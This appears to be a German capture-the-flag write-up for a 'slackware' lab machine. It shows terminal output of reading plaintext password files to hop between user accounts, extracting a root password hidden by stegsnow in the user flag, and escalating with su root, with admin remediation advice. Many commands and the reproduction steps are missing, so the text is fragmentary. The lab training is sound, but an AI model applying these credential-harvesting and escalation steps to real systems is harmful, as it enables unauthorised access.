total 9 drwxr-x--- 2 claor kretinga 112 Mar 10 22:15 ./ drwxr-xr-x 54 root root 1400 Mar 10 22:16 ../ -rw-r--r-- 1 claor claor 3729 Feb 2 2022 .screenrc -rw-r----- 1 claor kretinga 13 Mar 10 22:15 mypass.txt
JRksNe5rWgis
Password: JRksNe5rWgis
claor@slackware:~$
uid=1002(claor) gid=1002(claor) groups=1002(claor),1003(alienum)
Password: JRksNe5rWgis
Sorry, user claor may not run sudo on slackware.
total 13 drwxr-x--- 2 rpj7 b4el7d 136 Mar 11 12:47 . drwxr-xr-x 54 root root 1400 Mar 10 22:16 .. -rw-r--r-- 1 rpj7 rpj7 3729 Feb 2 2022 .screenrc -rw-r----- 1 rpj7 b4el7d 13 Mar 10 22:15 mypass.txt -rw-r--r-- 1 rpj7 b4el7d 314 Mar 11 13:29 user.txt
HMV{Th1s1s1Us3rFlag}
wP26CtkDby6J
Password: wP26CtkDby6J
rpj7@slackware:~$
uid=1043(rpj7) gid=1043(rpj7) groups=1043(rpj7),1044(h1dr0)
Password: wP26CtkDby6J
Sorry, user rpj7 may not run sudo on slackware.
Analyse: Aus einem unbekannten Benutzerkontext (wahrscheinlich `root`, da `/home` durchsucht wird) wird mit `grep -ri hmv *` rekursiv im `/home`-Verzeichnis nach "hmv" gesucht.
Bewertung: Dieser Befehl findet beide Flags: * Die User-Flag in `/home/rpj7/user.txt`. * Die Root-Flag `HMV{SlackwareStillAlive}` in `/home/0xh3rshel/.screenrc`. Das Finden der Root-Flag hier ist ungewöhnlich, da noch kein Root-Zugriff erlangt wurde. Es deutet darauf hin, dass die Datei `.screenrc` für andere Benutzer lesbar ist (zumindest für den Benutzer, der `grep` ausführt). Dies ist eine Informationspreisgabe.
Empfehlung (Pentester): Notiere die Root-Flag. Untersuche die Berechtigungen von `/home/0xh3rshel/.screenrc`. Fahre mit der Suche nach einem Weg fort, tatsächlich `root` zu werden.
Empfehlung (Admin): Stellen Sie sicher, dass Konfigurationsdateien in Home-Verzeichnissen (wie `.screenrc`) korrekte, restriktive Berechtigungen haben (normalerweise nur für den Besitzer les-/schreibbar). Speichern Sie keine Flags oder sensiblen Daten in solchen Dateien.
0xh3rshel/.screenrc:# Here is a flag for root: HMV{SlackwareStillAlive} rpj7/user.txt:HMV{Th1s1s1Us3rFlag}
Analyse: Die User-Flag-Datei (`user.txt`) wird vom Zielsystem (`rpj7@slackware`, Port 1) auf das Angreifer-System kopiert. Anschließend wird sie lokal mit `file` und `strings` untersucht. Schließlich wird `stegsnow -C` darauf angewendet.
Bewertung: Der `scp`-Befehl funktioniert und überträgt die Datei. `file` und `strings` zeigen die erwartete Flagge mit verräterischem zusätzlichem Leerraum (Whitespace). `stegsnow -C` extrahiert erfolgreich ein darin verstecktes Passwort: `To_Jest_Bardzo_Trudne_Haslo` (Polnisch für "Das ist ein sehr schwieriges Passwort"). Dies ist die entscheidende Information für den Root-Zugriff.
Empfehlung (Pentester): Verwende das extrahierte Passwort, um mit `su root` Root-Rechte zu erlangen.
Empfehlung (Admin): Verwenden Sie keine Steganographie, um Passwörter oder sensible Daten zu verstecken, insbesondere nicht in Dateien, die Flags enthalten oder anderweitig zugänglich sind. Dies ist keine sichere Methode. Schulen Sie Benutzer darin, keine sensiblen Daten in scheinbar harmlosen Dateien zu verbergen.
(rpj7@192.168.2.107) Password: wP26CtkDby6J
user.txt 100% 314 522.9KB/s 00:00
user.txt: ASCII text
HMV{Th1s1s1Us3rFlag}
To_Jest_Bardzo_Trudne_Haslo
Analyse: Von einer der Benutzer-Shells (hier als `skinny@slackware` gezeigt) wird `su root` ausgeführt und das via `stegsnow` extrahierte Passwort eingegeben.
Bewertung: **Privilege Escalation zu Root erfolgreich!** Das Passwort ist korrekt und der Benutzer wechselt zu `root`.
Empfehlung (Pentester): Die Maschine ist vollständig kompromittiert. Bestätige die Root-Flag im `/root`-Verzeichnis oder am zuvor gefundenen Ort.
Empfehlung (Admin): Das Root-Passwort wurde kompromittiert. Ändern Sie es sofort. Untersuchen Sie, wie das Passwort in die Datei gelangt ist und beheben Sie die zugrundeliegende Schwachstelle (unsichere Speicherung, Steganographie). Führen Sie eine vollständige Systemprüfung durch.
Password: To_Jest_Bardzo_Trudne_Haslo
root@slackware:/home/skinny#
Analyse: Dieser POC beschreibt den Weg zum initialen Zugriff als `patrick` und die anschließende laterale Bewegung durch die Benutzerkette.
Schwachstellen:
Schritte zur Reproduktion:
Erwartetes Ergebnis: Erfolgreicher SSH-Login als `patrick`, anschließende Übernahme der Konten bis `rpj7` und Auslesen der User-Flag.
Empfehlung (Admin): Beheben Sie die Berechtigungsprobleme der Home-Verzeichnisse und Gruppen. Entfernen Sie Klartext-Passwortdateien. Erzwingen Sie starke, einzigartige Passwörter. Überprüfen und korrigieren Sie die Methode, wie das Archiv `twitter.7z` zugänglich wurde und warum es ein Passwort enthielt.
Analyse: Dieser POC beschreibt den finalen Schritt zur Erlangung von Root-Rechten durch Ausnutzung von Steganographie in der User-Flag-Datei.
Schwachstelle: Das Root-Passwort ist mittels Whitespace-Steganographie in der User-Flag-Datei (`/home/rpj7/user.txt`) versteckt.
Voraussetzungen: Lesezugriff auf die Datei `/home/rpj7/user.txt` (erreicht durch die vorherige Lateral-Movement-Kette). Das Tool `stegsnow`.
Schritte zur Reproduktion:
Erwartetes Ergebnis: Erfolgreicher Wechsel zum Root-Benutzer. Zugriff auf `/root/root.txt` oder `/home/0xh3rshel/.screenrc` zum Lesen der Root-Flag.
Empfehlung (Admin): Speichern Sie niemals Passwörter (auch nicht versteckt) in Dateien. Ändern Sie das Root-Passwort. Stellen Sie sicher, dass keine sensiblen Daten durch Steganographie in scheinbar harmlosen Dateien verborgen sind. Überprüfen Sie die Integrität kritischer Systemdateien und Benutzerdateien.